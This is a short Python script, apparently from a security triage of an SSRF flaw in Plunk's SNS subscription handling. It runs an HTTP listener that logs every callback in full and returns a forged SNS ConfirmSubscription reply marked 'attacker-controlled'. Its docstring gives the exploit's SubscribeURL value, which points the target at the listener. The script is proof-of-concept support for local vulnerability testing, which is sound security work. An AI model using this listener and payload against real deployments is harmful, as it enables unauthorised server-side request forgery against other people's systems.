#!/usr/bin/env python3 """ SSRF callback listener for Plunk SNS triage. Logs every incoming request in full: method, path, headers, body. Run this on the Docker host before firing the exploit: python3 listener.py [port] # default: 8888 The exploit payload sets SubscribeURL to: http://host.docker.internal:8888/ssrf-hit """ import sys import json from http.server import BaseHTTPRequestHandler, HTTPServer from datetime import datetime PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 8888 class SSRFHandler(BaseHTTPRequestHandler): def _handle(self): length = int(self.headers.get("Content-Length", 0)) body = self.rfile.read(length).decode("utf-8", errors="replace") if length else "" ts = datetime.now().strftime("%H:%M:%S.%f")[:-3] print(f"\n{'='*60}") print(f"[{ts}] SSRF HIT RECEIVED") print(f"{'='*60}") print(f" Method : {self.command}") print(f" Path : {self.path}") print(f" From : {self.client_address[0]}:{self.client_address[1]}") print(f"\n Headers:") for k, v in self.headers.items(): print(f" {k}: {v}") if body: print(f"\n Body ({len(body)} bytes):") try: print(" " + json.dumps(json.loads(body), indent=2).replace("\n", "\n ")) except Exception: print(f" {body}") print(f"{'='*60}\n") # Respond with a realistic SNS ConfirmSubscription XML payload response = b""" arn:aws:sns:us-east-1:123456789012:ssrf-poc:attacker-controlled attacker-ssrf-poc-request-id """ self.send_response(200) self.send_header("Content-Type", "text/xml") self.send_header("Content-Length", str(len(response))) self.end_headers() self.wfile.write(response) do_GET = _handle do_POST = _handle def log_message(self, format, *args): pass # suppress default access log — we print our own if __name__ == "__main__": server = HTTPServer(("0.0.0.0", PORT), SSRFHandler) print(f"[*] SSRF listener running on 0.0.0.0:{PORT}") print(f"[*] Waiting for callbacks from Plunk container...") print(f"[*] Use Ctrl+C to stop\n") try: server.serve_forever() except KeyboardInterrupt: print("\n[*] Listener stopped.")